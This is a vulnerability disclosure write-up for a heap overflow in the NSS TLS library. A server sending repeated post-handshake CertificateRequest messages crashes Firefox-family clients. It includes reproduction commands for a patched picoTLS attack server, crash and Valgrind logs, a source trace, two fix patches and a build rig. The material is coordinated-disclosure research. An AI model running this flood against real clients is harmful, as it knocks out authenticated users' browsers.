Firefox crashes on wire it asked for

seventy-third handshake message kills client, bug unnoticed for seven years of NSS

Discovered 24 Mar 2026 · Updated 21 Apr 2026

Germany's BSI ranks Firefox ESR the only browser on its *Mindeststandard für sichere Web-Browser* that meets every requirement with no extra hardening. The federal workstation runs it, the embassy front desk runs it, the PIV smartcard signs cables through it. For seven years the NSS library underneath has carried an extension counter that resets at handshake start and never again. Flood one connection with CertificateRequest messages and it corrupts a pointer; the next free() takes down the process the handshake runs in, and every tab with it.

> *NSS resets its extension counter at handshake start and never again. Each CertificateRequest steps it further past a 22-slot array.*

The user opens a website. The page pulls scripts, images, frames from origins all over, and every one of those is a TLS connection the browser opened on the user's behalf. A stream of post-handshake CertificateRequest messages corrupts the heap and takes the process out.

The bug is a counter that doesn't reset. NSS tracks the extensions it has parsed on a given handshake message in a fixed-size 22-slot array; the counter that indexes that array is reset at the start of the handshake and never again. Each CertificateRequest in that stream carries one extension, `signature_algorithms`, and bumps the counter by one. After twenty-two messages the writes overrun the array; each further message writes two more bytes into the struct downstream, unbounded, until one lands on the `sigSchemes` pointer and the next `PORT_Free` on it hands glibc an address it refuses and the allocator aborts. How many messages that takes is the distance from array to pointer in the target's struct layout, divided by two, plus one: seventy-two on the build we captured.

The attacker is the server, the target is the client it asks to authenticate, and nothing on the wire is malformed: a server may ask for authentication at any time after the handshake, as often as it likes. NSS's own state machine accepts the messages back-to-back; what never resets between them is the parser's bookkeeping.

Don't trust, verify: Hundred requests, abort at seventy-three

The malicious endpoint is a stock picoTLS server with one small patch: the moment the application traffic key is installed, the server fires one hundred post-handshake CertificateRequest records, ahead of any application data. One hundred overshoots on purpose, being more than enough to walk the counter past the pointer on any affected build.

> ▶ the patch, if you want to see how it works

Every record is well formed: a fresh certificate_request_context and the one extension a CertificateRequest must carry. picoTLS owns the record layer, the key schedule and the AEAD, so the attacker writes neither a line of HKDF nor a byte of GCM. The count comes from the environment, so the same binary is the honest control at one request and the attacker at a hundred.

Stock `tstclnt`, the canonical NSS test client Debian ships (`libnss3-tools`), completes a handshake, meets the flood, and feeds every record into `tls13_HandleCertificateRequest`: one client-certificate hook miss per record, the extension counter never resetting between them.

```
$ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \
     -i payload.txt 127.0.0.1 18443 &
server started on port 18443
shatter: 100 x CertificateRequest, 4000 bytes
$ setarch -R tstclnt -h 127.0.0.1 -p 18443 -d nssdb -V tls1.3: -E -n localhost
subject DN: CN=localhost
Failed to load a suitable client certificate
Failed to load a suitable client certificate
Failed to load a suitable client certificate
        ... 69 more identical lines ...
free(): invalid pointer
# CertificateRequest messages parsed: 72
tstclnt exit status: 134 (killed by signal 6)

$ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \
     -i payload.txt 127.0.0.1 18444 &
server started on port 18444
shatter: 100 x CertificateRequest, 4000 bytes
$ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \
     -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18444 -d nssdb \
     -V tls1.3: -E -n localhost
subject DN: CN=localhost
Failed to load a suitable client certificate
Failed to load a suitable client certificate
Failed to load a suitable client certificate
        ... 69 more identical lines ...
free(): invalid pointer
# CertificateRequest messages parsed: 72
tstclnt exit status: 134 (killed by signal 6)
```

The seventy-second write tipped `negotiated[]` into the `sigSchemes` pointer downstream, and the seventy-third record's `PORT_Free` on that corrupted pointer handed glibc an address that is not a heap pointer at all. The client is gone before three quarters of the four-kilobyte flight has landed, and the application data behind it, `POST-HANDSHAKE-OK`, never arrives. The tarball build dies at the same record as the distribution's, so the defect is upstream source and not a packaging artefact. On a different build the crash lands on a different record, because the pointer sits at a different offset, but land it does. Memcheck names the free site, `ssl3_HandleSigAlgsXtn`, and shows what the pointer had become:

```
$ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \
     -i payload.txt 127.0.0.1 18445 &
server started on port 18445
shatter: 100 x CertificateRequest, 4000 bytes
$ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib valgrind \
     --num-callers=8 nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18445 \
     -d nssdb -V tls1.3: -E -n localhost
Invalid free() / delete / delete[] / realloc()
   at free (vg_replace_malloc.c:989)
   by PR_Free (prmem.c:449)
   by PORT_Free_Util (secport.c:173)
   by ssl3_HandleSigAlgsXtn (ssl3exthandle.c:1618)
   by ssl_CallExtensionHandler (ssl3ext.c:447)
   by ssl3_HandleParsedExtensions (ssl3ext.c:596)
   by ssl3_HandleExtensions (ssl3ext.c:617)
   by tls13_HandleCertificateRequest (tls13con.c:3202)
 Address 0x57c000d is 4,317 bytes inside a block of size 18,432 free'd
Invalid read of size 8
   at memmove (vg_replace_strmem.c:1414)
   by ssl3_BeginHandleCertificateRequest (ssl3con.c:8112)
   by tls13_HandleCertificateRequest (tls13con.c:3224)
   by tls13_HandlePostHelloHandshakeMessage (tls13con.c:1308)
   by ssl3_HandleHandshakeMessage (ssl3con.c:12735)
   by ssl3_HandleHandshake (ssl3con.c:12910)
   by ssl3_HandleNonApplicationData (ssl3con.c:13445)
   by ssl3_HandleRecord (ssl3con.c:13809)
 Address 0xd97f0 is not stack'd, malloc'd or (recently) free'd
Process terminating with default action of signal 11 (SIGSEGV)
 Access not within mapped region at address 0xD97F0
# CertificateRequest messages parsed: 72
tstclnt exit status: 139 (killed by signal 11)
```

The address handed to the allocator ends in `000d`, the numeric value of `ssl_signature_algorithms_xtn`, which is what the handler writes into the array. Memcheck places that address 4,317 bytes inside a block of 18,432 that had already been freed: an interior pointer into dead heap, not the start of a live allocation, and that is what glibc's own check rejects. Memcheck reports an invalid free rather than dying on it, so this run gets a few instructions further, into a `memmove` that reads through the corrupted state at an address with no mapping behind it.

Trace to vulnerability site: Counter climbs, never resets

The array and its counter live in the same struct, in `ssl3ext.h`. The array bound `SSL_MAX_EXTENSIONS` resolves to 22, in `sslt.h`:

```
$ sed -n 43,45p nss-3.110/nss/lib/ssl/ssl3ext.h
    PRUint16 *echAdvertised;
    PRUint16 numNegotiated;
    PRUint16 negotiated[SSL_MAX_EXTENSIONS];
$ sed -n 573,576p nss-3.110/nss/lib/ssl/sslt.h
/* SSL_MAX_EXTENSIONS includes the maximum number of extensions that are
 * supported for any single message type.  That is, a ClientHello; ServerHello
 * and TLS 1.3 NewSessionTicket and HelloRetryRequest extensions have fewer. */
#define SSL_MAX_EXTENSIONS 22
```

NSS registers three handlers for a CertificateRequest, and two of them write the array. The flight above reaches signature_algorithms, which frees the list the previous message left, parses the new one, and records its own type with a post-increment that checks no bound:

```
$ sed -n 1617,1620p nss-3.110/nss/lib/ssl/ssl3exthandle.c
    if (xtnData->sigSchemes) {
        PORT_Free(xtnData->sigSchemes);
        xtnData->sigSchemes = NULL;
    }
$ sed -n 1642,1643p nss-3.110/nss/lib/ssl/ssl3exthandle.c
    /* Keep track of negotiated extensions. */
    xtnData->negotiated[xtnData->numNegotiated++] = ssl_signature_algorithms_xtn;
```

Both lines are safe as long as the counter starts each handshake at zero and never gets past twenty-two. It does start at zero: one memset clears the extension-data struct as a handshake begins. Nothing zeroes it again. The message reaches `tls13_HandleCertificateRequest` over the application-data stream. The handler runs the parser and never touches the counter; its cleanup block frees five fields and leaves the counter alone.

```
$ sed -n 1039,1043p nss-3.110/nss/lib/ssl/ssl3ext.c
    unsigned int advertisedMax;
    PRCList *cursor;

    /* Set things up to the right starting state. */
    PORT_Memset(xtnData, 0, sizeof(*xtnData));
$ sed -n 3149,3168p nss-3.110/nss/lib/ssl/tls13con.c
        /* clean up anything left from previous handshake. */
        if (ss->ssl3.clientCertChain != NULL) {
            CERT_DestroyCertificateList(ss->ssl3.clientCertChain);
            ss->ssl3.clientCertChain = NULL;
        }
        if (ss->ssl3.clientCertificate != NULL) {
            CERT_DestroyCertificate(ss->ssl3.clientCertificate);
            ss->ssl3.clientCertificate = NULL;
        }
        if (ss->ssl3.clientPrivateKey != NULL) {
            SECKEY_DestroyPrivateKey(ss->ssl3.clientPrivateKey);
            ss->ssl3.clientPrivateKey = NULL;
        }
        if (ss->ssl3.hs.clientAuthSignatureSchemes != NULL) {
            PORT_Free(ss->ssl3.hs.clientAuthSignatureSchemes);
            ss->ssl3.hs.clientAuthSignatureSchemes = NULL;
            ss->ssl3.hs.clientAuthSignatureSchemesLen = 0;
        }
        SECITEM_FreeItem(&ss->xtnData.certReqContext, PR_FALSE);
        ss->xtnData.certReqContext.data = NULL;
```

Each record in the flight carries one extension, so the counter steps by one per message, and at twenty-three the write lands past the end of the array. How far past is a question for the compiler, and the built library answers it:

```
$ gdb -batch -ex 'ptype /o TLSExtensionData' \
     nss-3.110/dist/Debug/lib/libssl3.so
type = struct TLSExtensionDataStr {
/*   1088      |       2 */    PRUint16 numNegotiated;
/*   1090      |      44 */    PRUint16 negotiated[22];
/*   1232      |       8 */    SSLSignatureScheme *sigSchemes;
                               /* total size (bytes): 1528 */
# (1232 - 1090) / 2 + 1 = 72 — the record whose write lands on the
#   pointer; the record after it frees what is left
```

The handler frees `sigSchemes` on every message, which is what turns two stray bytes into an abort:

```
xtnData: one 2-byte write (the extension type, 0x000d) per post-handshake
CertificateRequest in this flight; the index climbs and never resets
between messages.

  requests 1..22           requests 23..71           request 72
  +------------------+   +-------------------+    +-------------------+
  | negotiated[0..21]|-->| 98 bytes of       |--->| sigSchemes (ptr)  |
  | 22 slots, in     |   | adjacent struct   |    | low 16 bits <-    |
  | bounds           |   | fields, 49 writes |    | 0x000d            |
  +------------------+   +-------------------+    +---------+---------+
                                                            |
   request 73 -> PORT_Free(sigSchemes) -> glibc's free() -> SIGABRT

  offset 1232 is NSS 3.110 on x86-64; another build moves the pointer,
  and the count with it. The overflow that reaches it does not move.
```

Fix: Counter reset, parser capped

Our fix is two changes. The first inserts the missing reset into the cleanup block in `tls13_HandleCertificateRequest`: when the handler reruns on one of those post-handshake messages, the extension counter returns to zero alongside the five fields the original cleanup already handled.

```
--- a/lib/ssl/tls13con.c
+++ b/lib/ssl/tls13con.c
@@ -3166,6 +3166,10 @@
         }
         SECITEM_FreeItem(&ss->xtnData.certReqContext, PR_FALSE);
         ss->xtnData.certReqContext.data = NULL;
+        /* Each CertificateRequest carries its own extension set; the
+         * counter has to start fresh or repeated CertReqs will write
+         * past the end of negotiated[]. */
+        ss->xtnData.numNegotiated = 0;
     } else {
         PORT_Assert(ss->ssl3.clientCertChain == NULL);
         PORT_Assert(ss->ssl3.clientCertificate == NULL);
```

The second is a defensive cap. Twenty-nine sites in `lib/ssl` record an extension by incrementing that counter without checking it first, and no line in the library ever compares it with its bound.

```
$ grep -rc numNegotiated++ nss-3.110/nss/lib/ssl | grep -v ':0$' | sort
nss-3.110/nss/lib/ssl/ssl3exthandle.c:16
nss-3.110/nss/lib/ssl/tls13ech.c:1
nss-3.110/nss/lib/ssl/tls13exthandle.c:12
$ grep -rnE 'numNegotiated[[:space:]]*[<>]' nss-3.110/nss/lib/ssl
# nothing: the counter is written at every site and compared at none
```

So the cap belongs in `ssl3_HandleParsedExtensions`, the loop every one of those handlers is dispatched from, where it stands for all of them and for any future caller that forgets a reset of its own.

```
--- a/lib/ssl/ssl3ext.c
+++ b/lib/ssl/ssl3ext.c
@@ -523,6 +523,10 @@
     for (cursor = PR_NEXT_LINK(&ss->ssl3.hs.remoteExtensions);
          cursor != &ss->ssl3.hs.remoteExtensions;
          cursor = PR_NEXT_LINK(cursor)) {
+        if (ss->xtnData.numNegotiated >= SSL_MAX_EXTENSIONS) {
+            FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_HANDSHAKE, decode_error);
+            return SECFailure;
+        }
         TLSExtension *extension = (TLSExtension *)cursor;
         SECStatus rv;
```

The reset is saved as `fix1.patch` and the cap written to `fix2.patch`. Both go onto the same tree the crash was captured on, the cap first and the reset on top of it, so each half answers for itself:

```
# the defensive cap first, on its own: same tree, same compiler
$ patch -p1 -d nss-3.110/nss < fix2.patch
patching file lib/ssl/ssl3ext.c
$ env -C nss-3.110/nss ./build.sh -j 2

# then the missing reset, and rebuild again
$ patch -p1 -d nss-3.110/nss < fix1.patch
patching file lib/ssl/tls13con.c
$ env -C nss-3.110/nss ./build.sh -j 2
```

The cap alone stops the flood, the way a parser should: the counter reaches twenty-two, the twenty-third message is refused as a malformed handshake, and the connection closes with the heap intact. It is blunt, since it also ends a connection whose only offence was asking too often.

```
$ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \
     -i payload.txt 127.0.0.1 18446 &
server started on port 18446
shatter: 100 x CertificateRequest, 4000 bytes
$ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \
     -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18446 -d nssdb \
     -V tls1.3: -E -n localhost
subject DN: CN=localhost
Failed to load a suitable client certificate
Failed to load a suitable client certificate
Failed to load a suitable client certificate
        ... 19 more identical lines ...
tstclnt: read from socket failed: SSL_ERROR_RX_MALFORMED_HANDSHAKE: SSL received a
# CertificateRequest messages parsed: 22
tstclnt exit status: 1
```

The reset is the repair. With the counter returning to zero at the end of every post-handshake CertificateRequest the flood never accumulates: the client parses the hundredth record exactly as it parsed the first, the connection stays up, and the application data behind the flight arrives. A legitimate single request, the exchange the standard actually describes, still completes, so there is no regression on real traffic.

```
$ env SHATTER_CERTREQS=100 picotls/build/cli -c ec.crt -k ec.key \
     -i payload.txt 127.0.0.1 18447 &
server started on port 18447
shatter: 100 x CertificateRequest, 4000 bytes
$ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \
     -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18447 -d nssdb \
     -V tls1.3: -E -n localhost
subject DN: CN=localhost
Failed to load a suitable client certificate
Failed to load a suitable client certificate
Failed to load a suitable client certificate
        ... 97 more identical lines ...
POST-HANDSHAKE-OK
# CertificateRequest messages parsed: 100
tstclnt exit status: 0

$ env SHATTER_CERTREQS=1 picotls/build/cli -c ec.crt -k ec.key -i payload.txt \
     127.0.0.1 18448 &
server started on port 18448
shatter: 1 x CertificateRequest, 40 bytes
$ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib setarch \
     -R nss-3.110/dist/Debug/bin/tstclnt -h 127.0.0.1 -p 18448 -d nssdb \
     -V tls1.3: -E -n localhost
subject DN: CN=localhost
Failed to load a suitable client certificate
POST-HANDSHAKE-OK
# CertificateRequest messages parsed: 1
tstclnt exit status: 0
```

The one-line reset closes the reported crash; the bounds check is defence-in-depth for any other caller that re-enters the parser without resetting.

Scope

The bug only bites where post-handshake authentication is enabled — the server asking an already-encrypted client to prove who it is. Consumer Firefox leaves it off by default. The exposed population is every deployment that turns it on:

PKCS#11 and hardware-security-module middleware, smartcard-authenticated (PIV/CAC) clients, enterprise mutual TLS, and enterprise Firefox with the preference set — the federal workstation, the defence integrator, the bank with a token on the desk. That is a targeted availability kill against high-assurance deployments, not a generic denial of service.

The overflow happens inside extension parsing, below the message handler and before the client-certificate hook that same handler reaches later, so the crash does not depend on what a client certificate callback does or on whether it answers at once.

The overflow is not new. Post-handshake authentication arrived in NSS 3.43 in 2019, and the commit that added it zeroed the extension counter only at handshake start, never again. Post-handshake requests have accumulated against that fixed array ever since, running off its end once enough arrive; seven years, every release through the pinned tag.

The headline score, 7.5, carries Scope: Unchanged, and the instinct runs the other way: one server sends the flight and every tab on the box goes with it. Fission isolates web content by process and never covered the process NSS's handshake work runs in, so at the point of failure there was no boundary to cross. The absence is by design, and it is the finding underneath the finding: the mechanism that isolates web content does not reach the code that parses their handshakes. BURST crosses the same line by another route in the same library.

Discovered 2026-03-24; disclosed 2026-03-27 (Mozilla + CERT/CC VRF#26-03-NXJZF). Target: NSS 3.110 at release tag `NSS_3_110_RTM`. CWE-787 · CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

Updated 21 Apr 2026 — assigned CVE-2026-6772 and fixed in NSS 3.123 (16 Apr 2026), shipped in Firefox 150 / Firefox ESR 140.10 (MFSA 2026-30, 21 Apr 2026); independently co-discovered, and Mozilla credited the earlier filing, Bug 2026089 of 25 Mar 2026.

A note on Scope, which for this finding is the argument between 7.5 and 8.6. Seventy-three records abort the process every tab's work shares, so the reflex is that the damage escaped its tab. CVSS asks something narrower — whether a boundary was circumvented — and the specification answers a crash directly: an impact limited to the service the affected component provides is Unchanged.

So the counter is architectural rather than lexical. Fission isolates web content into separate processes; the parser that walks a hostile extension list was never inside one of them. Nothing was crossed because nothing stood there — and that, rather than the score, is what a Firefox deployment with smartcards should take from this page: the isolation you are relying on stops short of the code a hostile peer reaches first.

Appendix: standing it up

Neither end of the affected range assigns the counter anywhere in `lib/ssl`, which is what makes 3.43 the floor:

```
$ REL43=https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_43_RTM
$ curl -sSLO "$REL43/src/nss-3.43.tar.gz"
$ tar xzf nss-3.43.tar.gz nss-3.43/nss/lib/ssl nss-3.43/nss/.hg_archival.txt
$ grep -x 'tag: NSS_3_43_RTM' nss-3.43/nss/.hg_archival.txt
tag: NSS_3_43_RTM
$ grep -rlE 'numNegotiated[[:space:]]*=[^=]' nss-3.43/nss/lib/ssl
# nothing: in 3.43, as in 3.110, the counter is only ever ++
```

Everything a maintainer needs is above. What follows is the rig, and it runs before the first cell there: both endpoints fetched and built, the certificate minted and trusted, and something for the server to say once the flight is out.

```
# Working directory: empty but for the three diffs above, saved as
# adversary.patch, fix1.patch and fix2.patch. All else is fetched here.

# the attacker: picoTLS, pinned at the upstream commit, then patched
$ git clone https://github.com/h2o/picotls.git
$ git -C picotls checkout aef2262
$ git -C picotls submodule update --init
$ git -C picotls apply ../adversary.patch
$ cmake -S picotls -B picotls/build
$ cmake --build picotls/build --target cli -j2

# the target: the NSS 3.110 release tarball, checked against the
# SHA-256 Mozilla published for it, and the tag it was cut from
$ REL=https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_110_RTM
$ curl -sSLO "$REL/src/nss-3.110-with-nspr-4.36.tar.gz"
$ sha256sum nss-3.110-with-nspr-4.36.tar.gz | cut -c1-64
96114bef9e9692dda6e7793da26fedef0dc0449c3644ebe1122464e599a39dc0
$ tar xzf nss-3.110-with-nspr-4.36.tar.gz
$ cat nss-3.110/nss/.hg_archival.txt
repo: 9949429068caa6bb8827a8ceeaa7c605d722f47f
node: 0b262be660fd747f60fbdda34374734961ddbc81
branch: NSS_3_110_BRANCH
tag: NSS_3_110_RTM

# NSS's build.sh runs python, and Debian ships only python3 unless
# python-is-python3 is installed. NSPR is built along with NSS.
$ mkdir bin && ln -s "$(command -v python3)" bin/python
$ export PATH="$PWD/bin:$PATH"
$ env -C nss-3.110/nss ./build.sh -j 2

# tstclnt carries no rpath into the tree it was built from, so without
# LD_LIBRARY_PATH it quietly loads the system NSS instead:
$ env LD_LIBRARY_PATH=nss-3.110/dist/Debug/lib ldd \
     nss-3.110/dist/Debug/bin/tstclnt
    libnss3.so => nss-3.110/dist/Debug/lib/libnss3.so
    libssl3.so => nss-3.110/dist/Debug/lib/libssl3.so

# a self-signed server certificate, and an NSS database that trusts it
$ openssl ecparam -genkey -name prime256v1 -out ec.key
$ openssl req -new -x509 -key ec.key -out ec.crt -days 1 -subj /CN=localhost \
     -addext subjectAltName=DNS:localhost,IP:127.0.0.1
$ mkdir nssdb
$ certutil -N -d nssdb --empty-password
$ certutil -A -d nssdb -n localhost -t C,, -i ec.crt

# and something for the server to say once the flight is out
$ printf 'POST-HANDSHAKE-OK\n' > payload.txt
```